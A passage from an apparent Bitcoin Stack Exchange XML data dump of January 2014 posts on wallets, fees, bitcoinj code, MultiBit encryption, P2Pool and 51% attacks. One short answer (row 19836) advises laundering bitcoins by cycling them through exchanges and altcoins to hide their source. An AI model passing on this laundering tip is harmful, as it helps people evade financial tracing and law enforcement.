correct wallet. Make sure that you have copied the wallet.dat file from your old hard drive to the correct place on your new one. NOTE: Make sure that the bitcoin client is CLOSED when you copy the wallet.dat file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your client has fully synced and you are sure that the correct wallet.dat file is loaded, and you still do not see your balance updated then you are probably out of luck. If you have lost the cryptographic keys stored in your wallet.dat file, the damage has already been permanently done.&lt;/p&gt;&#xA;" OwnerUserId="7583" LastActivityDate="2014-01-04T02:38:11.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19801" PostTypeId="2" ParentId="19778" CreationDate="2014-01-04T02:38:26.027" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Otherwise, the reference implementation will round up the transaction size to the next thousand bytes and add a fee of 0.1 mBTC (0.0001 BTC) per thousand bytes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So the rate is 0.1 mBTC for each thousand bytes (rounded up) the transaction is.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-04T02:38:26.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19802" PostTypeId="2" ParentId="19783" CreationDate="2014-01-04T02:42:39.663" Score="1" Body="&lt;p&gt;It is most likely (blockchain may figure this out differently) the priority of the transaction compared to others. Nodes add highest priority transaction and repeat until they reach the block size limit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;priority = sum(input_value_in_base_units * input_age)/size_in_bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-04T02:42:39.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19803" PostTypeId="2" ParentId="19745" CreationDate="2014-01-04T02:47:13.523" Score="0" Body="&lt;p&gt;They can print out the unspent input (or more likely the address to it) on the spot, but this is easily gamed, the merchant can spend the input when you walk out of the door, or just give you a qr code with loads of random numbers that don't mean anything for you in terms of bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-04T02:47:13.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19804" PostTypeId="2" ParentId="19745" CreationDate="2014-01-04T03:03:21.997" Score="1" Body="&lt;p&gt;The store would accept the paper wallet, import the private key and sent the money to a safe address (for which only he has the private key).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it turns out that there was no previous double spend, the store can be sufficiently at ease that the money will arrive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The customer would now present &lt;strong&gt;a second paper wallet&lt;/strong&gt; from which he only shows the address (and keeps the private key secret). The store could then sent the correct amount of change from its own wallet. Both transactions would be unconfirmed, but for small amounts it should not be an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, without internet access the customer would have to trust the store that the change was actually sent as promised.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-01-05T01:17:08.883" LastActivityDate="2014-01-05T01:17:08.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19805" PostTypeId="2" ParentId="19745" CreationDate="2014-01-04T03:06:43.200" Score="0" Body="&lt;p&gt;if the customer doesn't have an internet device, he cannot check on the spot whether the change was sent.&lt;/p&gt;&#xA;" OwnerUserId="11751" LastActivityDate="2014-01-04T03:06:43.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19810" PostTypeId="2" ParentId="18962" CreationDate="2014-01-04T04:02:23.300" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://bitdango.com&quot; rel=&quot;nofollow&quot;&gt;Bitdango&lt;/a&gt; has a &lt;a href=&quot;https://bitdango.com/api&quot; rel=&quot;nofollow&quot;&gt;free API&lt;/a&gt; to access currency pair prices. To get the one you indicated (BTC/USD), simply use this JSON endpoint:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitdango.com/api/currencypairs/BTCUSD&quot; rel=&quot;nofollow&quot;&gt;https://bitdango.com/api/currencypairs/BTCUSD&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also mentioned you want more currency pairs, Bitdango tracks all the major crypto currency pairs and provides exchange rates with all the major fiat currencies, etc. Here is the API to search currency pairs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitdango.com/api/currencypairs&quot; rel=&quot;nofollow&quot;&gt;https://bitdango.com/api/currencypairs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6885" LastActivityDate="2014-01-04T04:02:23.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19817" PostTypeId="1" AcceptedAnswerId="20035" CreationDate="2014-01-04T08:40:50.987" Score="2" ViewCount="318" Body="&lt;p&gt;I am trying to write an application that queries bitcoin nodes for the results of a particular transaction. I am attempting to imitate FetchTransactions.java, one of the examples that comes with bitcoinj. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes my requests go through to the peers, no problem. Other times, they get cancelled. I figured maybe I was stressing some of the peers, so I decided to loop through all the peers I could find and ask. Now I can't seem to get any peers to answer my request. I think I'm missing some basic network etiquette or something. Here's the relevant code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        NetworkParameters params = getNetworkParameters();&#xA;        PeerGroup peerGroup = getPeerGroup();&#xA;        peerGroup.startAndWait();&#xA;        peerGroup.addPeerDiscovery(new DnsDiscovery(params));&#xA;        peerGroup.setMaxConnections(100);&#xA;&#xA;        peerGroup.waitForPeers(3).get();&#xA;        Peer peer;&#xA;        int i = 0;&#xA;        while (true)&#xA;        {&#xA;            try&#xA;            {&#xA;                while (i &amp;gt;= peerGroup.numConnectedPeers())&#xA;                {&#xA;                    peerGroup.waitForPeers(peerGroup.numConnectedPeers() + 10);&#xA;                    System.out.println(&quot;Waiting to connect to more peers.&quot;);&#xA;                }&#xA;&#xA;                System.out.println(&quot;Attempting to connect to peer &quot; + i);&#xA;                System.out.println(&quot;numConnectedPeers = &quot; + peerGroup.numConnectedPeers());&#xA;                peer = peerGroup.getConnectedPeers().get(i++);                      &#xA;&#xA;                Sha256Hash txHash = new Sha256Hash(hash);&#xA;                ListenableFuture&amp;lt;Transaction&amp;gt; future = peer.getPeerMempoolTransaction(txHash);&#xA;                System.out.println(&quot;Waiting for node to send us the requested transaction: &quot; + txHash);&#xA;                tx = future.get();&#xA;                System.out.println(tx);&#xA;                peerGroup.stopAndWait();&#xA;                break;&#xA;            }&#xA;            catch (CancellationException e)&#xA;            {&#xA;                System.out.println(&quot;Task was cancelled. Trying again.&quot;);&#xA;            }&#xA;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, when it hits 75 peers and tries to wait for more peers, it returns immediately. I don't understand why it doesn't wait until it gets more peers before returning, since the source code of PeerGroup.java indicates it should only return when it has as many peers as specified in the argument. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it has never worked on the testnet: requests for a transaction have always been cancelled on the testnet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, any tips in the right direction would be much appreciated. &lt;/p&gt;&#xA;" OwnerUserId="11720" LastEditorUserId="1307" LastEditDate="2014-01-07T11:04:25.950" LastActivityDate="2014-01-07T11:04:25.950" Title="Why do my futures keep getting cancelled using BitcoinJ?" Tags="|network|bitcoinj|nodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19820" PostTypeId="1" AcceptedAnswerId="19838" CreationDate="2014-01-04T10:38:41.837" Score="2" ViewCount="122" Body="&lt;p&gt;I'm reading the technical FAQs on the wiki, and what I don't see is, if I create a transaction with signed prev_outs and new outputs, do I also sign the ENTIRE new tx before broadcasting? I don't see any field in the spec for a final overall signature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I'm asking is, if I receive a tx from a peer, what is stopping me from altering that tx message so the output is now my own address, and trying to broadcast my new fraudulent tx to the network faster and to more peers than the original honest tx?&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2014-01-04T17:47:40.783" Title="Can an attacker steal a very recent tx and alter it, broadcasting a new tx with his address on the output?" Tags="|transactions|signature|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19822" PostTypeId="2" ParentId="19799" CreationDate="2014-01-04T11:00:13.127" Score="4" Body="&lt;p&gt;First, where do these time samples come from: when your client connects to peers in the network it exchanges a &lt;code&gt;version&lt;/code&gt; message with them. Among other things this message contains the current UTC timestamp at the peer. Your client then calculates an offset between the time at its peer and its own clock. The network time is simply the local timestamp + the median of all offsets of its peers. So you can see that we have a relatively simple attempt at synchronizing the clocks in the network, but depending on the sample of peers you connect to they can still vary wildly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About enforcing the timestamps: there are very few places the timestamp appears in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;nofollow&quot;&gt;communication between peers&lt;/a&gt;, likely the only place where it is actually enforced is in the block header. Should a peer receive a new block while being synched with the network, and the timestamp differs more than 2 hours from its local timestamp, it'll discard the block as invalid (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/main.cpp#L2057&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;). The idea behind this check is that a client could attempt to skew the perceived difficulty seen by a node that is synchronizing with the rest of the network.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-01-04T11:00:13.127" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19824" PostTypeId="2" ParentId="19820" CreationDate="2014-01-04T12:15:56.987" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;http://en.wikipedia.org/wiki/Digital_signature&quot; rel=&quot;nofollow&quot;&gt;digital signature&lt;/a&gt; (with the SHA-hashed message) required for peers to accept the transaction.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-01-04T12:15:56.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19825" PostTypeId="2" ParentId="19771" CreationDate="2014-01-04T13:14:26.760" Score="1" Body="&lt;p&gt;It sounds like your client and pool node are working properly, and there is no parameter which will make the p2pool node set the worker difficulty to the share difficulty.&lt;/p&gt;&#xA;&lt;p&gt;The p2pool node will take care of adjusting the difficulty for your mining client so that it is not submitting work too often. It's not a bad thing for your mining client to be submitting shares regularly to the pool node, even if they are at a lower difficulty than what is required to get a p2pool share. Regular traffic between the client and the pool node allows you to verify that everything is working properly and it allows the p2pool node to measure statistics about the client.&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Q: Why does my miner say it has found a lot of shares but p2pool say I have only found a few?!&lt;/p&gt;&#xA;&lt;p&gt;A: The real P2Pool difficulty is hundreds of times higher than on normal pools, but p2pool essentially lies to your miner and tells it to work on relatively easy shares so that it submits shares every few seconds instead of every few hours. P2Pool then ignores any submitted shares that don't match the real share difficulty. By doing this, P2Pool can more accurately report your local hash rate and you can see if you are having problems with too many stale shares quickly&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="10654" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-01-04T13:14:26.760" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19826" PostTypeId="1" AcceptedAnswerId="19831" CreationDate="2014-01-04T14:05:22.827" Score="5" ViewCount="101" Body="&lt;p&gt;Is it possible to send 100% of the funds from one account to the exact same account? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, such an operation would be a &lt;a href=&quot;http://en.wikipedia.org/wiki/NOP&quot;&gt;NOP&lt;/a&gt;, but could be used as &quot;proof of ownership&quot; (e.g. by adding a comment with the transaction in reply to a proof-of-ownership challenge).&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2014-01-04T15:18:26.003" Title="Can there be 100% change transactions?" Tags="|transactions|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19827" PostTypeId="2" ParentId="19781" CreationDate="2014-01-04T14:09:23.970" Score="1" Body="&lt;p&gt;miners are like accountants that do accounting for a business. they run the software that does the maths to &quot;verify&quot; transactions are valid. these accountants (miners) are rewarded for their time / effort in creating new ledger pages (blocks in the blockchain), which they in turn need to verify transactions &lt;/p&gt;&#xA;" OwnerUserId="11762" LastActivityDate="2014-01-04T14:09:23.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19831" PostTypeId="2" ParentId="19826" CreationDate="2014-01-04T15:18:26.003" Score="7" Body="&lt;p&gt;Yes, the output address can be chosen entirely independantly from the input address. So you can send all the money from one address to itself if you don't pay transaction fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Proof of ownership&quot; can be done easier and faster though, without performing a transaction at all. You can just use the private connected to the address to encrypt a random message from the other person. She can then decrypt it with your public key and assert that the result is the original message (and that the public key corresponds to your address). This process is called &lt;a href=&quot;http://en.wikipedia.org/wiki/Digital_signature&quot;&gt;digital signing&lt;/a&gt; and actually happens when bitcoins are transacted.&lt;/p&gt;&#xA;" OwnerUserId="9175" LastActivityDate="2014-01-04T15:18:26.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19832" PostTypeId="2" ParentId="7183" CreationDate="2014-01-04T15:37:25.360" Score="-1" Body="&lt;p&gt;simply put its like a paradox if i send 100 Satoshi to the site and only have 99 in my wallet the transaction fails i will have spent no Satoshis they will have received none trying to send Satoshi that does not exist would invalidate the second transaction &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so unlike money you can not do the following walk into a store take a dollar item and leave 90 cents on the counter walk out and then try to return that item later on for store credit the act of saying i have a dollar when i only have 90 cents will invalidate the entire transaction i will have given zero then sending me some of the bitcoins i never really sent everytime a bit coin is sent the new owner becomes part of that bitcoin their address gets imprinted on it so if SatoshiDice never got your bitcoin officially then they can not send it back you as that would be a bitcoin that does not exist in a sense this is why the debate over resseting the blockchain to reduce the storage broaden is a big issue well it could be done another story for another day in short that would make a bitcoin bank Holiday of sorts  likely a few hours as the network would have to shutdown as in stop accepting payments then verify all payments accepted then reduce each bitcoin to a base hash minis all of its history and then have the wallets shorten this down using a standardized algorithm  for those who do not spend most of what they have no problem a typical computer would straiten out a typical wallet in less then 5 min an older smartphone might take a day even an iphone might take a half an hour for the most part most people would be ready for bussines before the block chain was back up the wait would be the transactions to be verified by the miners as a non static network could never get back into sync off topic but bottom line is SatoshiDice is secure due to the nature of how the transactions are verified if a block chain reset were to take place say once a month then SatoshiDice would likely cancel all betting for that day and resoume an hour after the network was confirmed to be up and running then you still have the trust of a central server for all past transactions i would like to see a torrent like system to split up the block chain for faster access and secure storage &lt;/p&gt;&#xA;" OwnerUserId="11767" LastActivityDate="2014-01-04T15:37:25.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19834" PostTypeId="1" AcceptedAnswerId="27053" CreationDate="2014-01-04T16:26:10.190" Score="3" ViewCount="1624" Body="&lt;p&gt;I'm using the MultiBit client to manage my wallet (right here on my computer), but I am concerned about the security with regards to the &lt;code&gt;*-backup&lt;/code&gt; folders that it creates automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I inspect the &lt;code&gt;wallet-unenc-backup&lt;/code&gt; directory, I find 2 pairs of &lt;code&gt;.info&lt;/code&gt; and &lt;code&gt;.wallet.cipher&lt;/code&gt; files. Using a text editor, I can see that the &lt;code&gt;.info&lt;/code&gt; file only contains my public bitcoin address and a line referring to the &lt;code&gt;rolling-backup&lt;/code&gt; directory and some other numbers. The &lt;code&gt;.wallet.cipher&lt;/code&gt; file shows weird characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the &lt;code&gt;.wallet.cipher&lt;/code&gt; file contain a private key unencrypted? If so, why does the client not warn me about this? Is it because its users are expected to know this, or am I wrong about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other folders contain &lt;code&gt;.info&lt;/code&gt; files as well, and &lt;code&gt;.wallet&lt;/code&gt; files (probably and encrypted wallet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clarification on the actual information stored in these files and whether that information is encrypted would be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did read the documentation of MultiBit, but their description of these files, found &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_fileDescriptions.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, isn't very clear and doesn't contain warnings where I expect them to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;br&gt;&#xA;I have put a password on my wallet using the &quot;file&quot; menu in MultiBit.&lt;/p&gt;&#xA;" OwnerUserId="11739" LastActivityDate="2018-05-19T23:41:17.453" Title="Multibit security with regards to &quot;backup&quot; folders" Tags="|wallet|multibit|encryption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19836" PostTypeId="2" ParentId="72" CreationDate="2014-01-04T16:43:36.953" Score="1" Body="&lt;p&gt;It is actually much easier to launder Bitcoins. Just transfer your Bitcoins to an exchange site like cryptsy or btc-e, then exchange your Bitcoins into another currency like Litecoin for example. Now transfer these coins to another exchange site and exchange the coins back into Bitcoin. I think no one can find out the inital source now :)&lt;/p&gt;&#xA;" OwnerUserId="11772" LastActivityDate="2014-01-04T16:43:36.953" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19837" PostTypeId="2" ParentId="19834" CreationDate="2014-01-04T17:38:41.487" Score="4" Body="&lt;p&gt;The files with the .cipher suffix are the regular wallets encrypted with 256 bit AES.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The password used is the one you use to first encrypt your wallet. MultiBit goes through all the unencrypted wallets, creates an encrypted copy and secure deletes the unencrypted one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can open the .cipher wallets using File | Open wallet and it asks you for the password.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-01-04T17:38:41.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19838" PostTypeId="2" ParentId="19820" CreationDate="2014-01-04T17:47:40.783" Score="4" Body="&lt;p&gt;In a typical transaction, every signature in the transaction is a signature over &lt;a href=&quot;https://en.bitcoin.it/wiki/OP_CHECKSIG#Hashtype_SIGHASH_ALL_.28default.29&quot; rel=&quot;nofollow&quot;&gt;all the outputs&lt;/a&gt;. So you can't change any of the outputs without invalidating all the signatures.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-01-04T17:47:40.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19839" PostTypeId="2" ParentId="19665" CreationDate="2014-01-04T18:26:46.277" Score="22" Body="&lt;p&gt;You can also make a request by explicitly mentioning the username and password in the URI:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;http://bitcoinrpc:anything@127.0.0.1:8332/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Making your request to this address should be sufficient.&lt;/p&gt;&#xA;&lt;p&gt;So, full command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl --data-binary '{&amp;quot;jsonrpc&amp;quot;:&amp;quot;1.0&amp;quot;,&amp;quot;id&amp;quot;:&amp;quot;curltext&amp;quot;,&amp;quot;method&amp;quot;:&amp;quot;getblockchaininfo&amp;quot;,&amp;quot;params&amp;quot;:[]}' -H 'content-type:text/plain;' http://bitcoinrpc:anything@127.0.0.1:8332/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="3697" LastEditDate="2023-10-19T09:15:27.970" LastActivityDate="2023-10-19T09:15:27.970" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19841" PostTypeId="2" ParentId="19792" CreationDate="2014-01-04T20:08:39.693" Score="0" Body="&lt;p&gt;It might just be that your transaction has still zero confirmations, that might be the reason it doesn't show in &lt;strong&gt;getreceivedbyaddress()&lt;/strong&gt;, which by default only returns transactions that have at least one confirmation. To override this, call it like this: &lt;strong&gt;getreceivedbyaddress(address, 0)&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that &lt;strong&gt;gettransaction()&lt;/strong&gt; will only work for in-wallet transactions, for other transactions it will just throw an exception. Try calling it for an older transaction of yours and see if it works.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-01-04T20:08:39.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19842" PostTypeId="1" AcceptedAnswerId="22127" CreationDate="2014-01-04T21:12:03.357" Score="3" ViewCount="1241" Body="&lt;p&gt;Given current implementations, is there a wallet that I can use to scan a private key, then enter in the password as a PIN, and the wallet will send from the key and sweep the rest onto a key generated from the phone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Android, obviously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what's the state of BIP-38 integration with wallets in general?&lt;/p&gt;&#xA;" OwnerUserId="11776" LastEditorUserId="2306" LastEditDate="2014-12-13T06:01:28.863" LastActivityDate="2015-09-17T16:33:02.067" Title="What is the current state of BIP 38 (encrypted paper wallet) integration with cell phone wallets?" Tags="|private-key|encryption|paper-wallet|bip38|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19843" PostTypeId="2" ParentId="9740" CreationDate="2014-01-04T21:13:08.267" Score="0" Body="&lt;p&gt;To get the update interval for Mt.Gox HTTP v2 API endpoints, use the &lt;strong&gt;Cache-Control&lt;/strong&gt; and &lt;strong&gt;Date/Expires&lt;/strong&gt; HTTP headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see a lot of misinformed information going around that the ticker_fast has a 1s cache time. I did some testing (with ticker and ticker_fast) and both the ticker and ticker_fast APIs won't update until their cache time has expired. This is a stateless API so everyone receives the same cache headers. The actual cache time varies somewhere between &lt;strong&gt;20-30 seconds&lt;/strong&gt; (at the time of writing this post), this might adjusts on-the-fly depending on how much server load they are receiving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try it yourself:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://data.mtgox.com/api/2/BTCUSD/money/ticker_fast&quot; rel=&quot;nofollow&quot;&gt;https://data.mtgox.com/api/2/BTCUSD/money/ticker_fast&lt;/a&gt;&#xA;&lt;a href=&quot;https://data.mtgox.com/api/2/BTCUSD/money/ticker&quot; rel=&quot;nofollow&quot;&gt;https://data.mtgox.com/api/2/BTCUSD/money/ticker&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4382" LastActivityDate="2014-01-04T21:13:08.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19844" PostTypeId="1" CreationDate="2014-01-04T21:59:05.967" Score="-1" ViewCount="86" Body="&lt;p&gt;I see Less power costs everywhere, what is the difference between Less Power Costs vs. 24h Power Cost ? &#xA;&lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinx.com/profit/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11778" LastEditorUserId="5406" LastEditDate="2016-04-25T21:02:11.280" LastActivityDate="2016-04-25T21:02:11.280" Title="what does less power costs parameter mean?" Tags="|mining-profitability|terminology|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19845" PostTypeId="2" ParentId="17738" CreationDate="2014-01-04T22:23:03.747" Score="0" Body="&lt;p&gt;There are probably problems with ATI-drivers or AMD-APP-SDK versions, please try the SMOS distribution which has tested versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.smos-linux.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.smos-linux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It worked for me :)&lt;/p&gt;&#xA;" OwnerUserId="11780" LastActivityDate="2014-01-04T22:23:03.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19846" PostTypeId="1" CreationDate="2014-01-04T23:24:15.950" Score="0" ViewCount="81" Body="&lt;p&gt;I have read the wiki page and I would like some further and more technical(if possible) confirmation for a few things. &#xA;A bitcoin node is a user which is connected to the network through a client. This node can perform transactions, try to build a block inside a mining pool, or just exist in the network. Are there any further actions for a node?&#xA;If a node exists inside the network how can he verify the transactions?&#xA;Furthermore is there a paper or something that explains things in a lower level of how exactly the system works in case of transactions and mining? I do not want a description but something more technical.&lt;/p&gt;&#xA;" OwnerUserId="10246" LastActivityDate="2014-01-05T03:04:32.947" Title="Bitcoin Nodes actions" Tags="|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19847" PostTypeId="2" ParentId="18841" CreationDate="2014-01-05T01:16:34.367" Score="5" Body="&lt;p&gt;Well, the answer is two-fold: what's the chance of a 51%-attack to happen and what are the consequences if it does. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;What's the chance of it happening?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You mention correctly that the major parties via which such an attack can be achieved, are miners. The chance that a 51%-attack is performed by a 3th party is neglectable, since the cost to achieve a mining output to achieve such as enormous. Only maybe if a large government would decide to assign a large budget to it, it may happen, but still ASIC hardware is scarce and difficult to manufacture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically the real threat is in the miners. However, the chance that a miner would obtain &gt;50% hashrate share is minimal. The miners themselves would not benefit from their pool having such power, on the contrary. So what would happen is miners leaving for another pool, pulling the pool's share back under 50%. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only real threat that remains is the possibility that multiple pools are compromised simultaneously. In such a case, however, I believe the pool owners will notify users as soon as possible, resulting in miners leaving. Also, from the moment the party in power of the compromised miners starts manipulating the block chain, the community will notice. I believe it won't take long before people will be warning each other and miners will stop operating at the compromised pools. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's conclude that in the worst case, an attacker will can perform an attack and hold it for a few hours max until it will lose its position. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;What are the consequences in such a case?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;A party that is in control of the network can't really manipulate the blockchain very drastically. Here are the main actions one would be able to perform:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Decide what transactions are included in the chain. Essentially it can halt all payments, but than they would be noticed very quickly. Probably the attacker will only manipulate transactions of his own concern. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Receive all block rewards. But that is no more than an extrapolation of a miner's situation with a &amp;lt;50% hashrate. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As a result of nr 1, an attacker can easily perform double-spend attacks. This will be the main threat. Since the attacker decides what transactions make it to the blockchain, he can very easily make a transaction, perhaps even give it one confirmation, and then revert it with another. When he receives fiat or goods for his first transaction, he can make profit by reverting the transaction. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It is clear that the consequences are quite minimal. It is difficult to maintain such a situation, it will require extensive planning in order to make real profit from the attack since the only way to actually make profit is through exchanging things for bitcoins and double-spending the transaction you made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: There might actually be a scenario in which an attacker may be able to make good profit from the attack, like David Schwartz mentions in the comments. Even with the fore-mentioned assumption that the network will react &lt;em&gt;after the first time the attacker messes with the block chain&lt;/em&gt;, a well-prepared attack can do damage with one backfork*. The attack would look as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The attacker deposits bitcoins in an account on an exchange. (Probably he will have multiple accounts on multiple exchanges to make as much profit as possible at once.)&lt;/li&gt;&#xA;&lt;li&gt;As soon as the exchange recognises the transaction as being confirmed, the user withdraws the bitcoins again. Most exchanges use different wallets for sending and receiving, so the withdrawn coins will most probably come from a different address. (Making the withdrawal independent from the deposit.)&lt;/li&gt;&#xA;&lt;li&gt;As soon as the attacker receives the transactions that represent his withdrawals through the bitcoin network, he will hardfork* the chain to undo his deposit transaction and doublespending it in his new chain, as well as including the withdrawal transactions in the new chain.&lt;/li&gt;&#xA;&lt;li&gt;This way the attacker will have both the deposit amount as the withdrawal amount in his wallet.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Although this scenario is possible, it would require extensive planning. Also, most exchanges require more than one confirmations and the more confirmations are required, the harder the attack becomes. To successfully hardfork* multiple blocks in a feasible time, the attacker will need more than just 51% of the network hashrate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;* I'm not sure if this is an established term, but I think of a backfork as a fork of the chain a few blocks before the latest to revert the history of those blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Wrote this from my mobile phone, typos may occur.) &lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="5406" 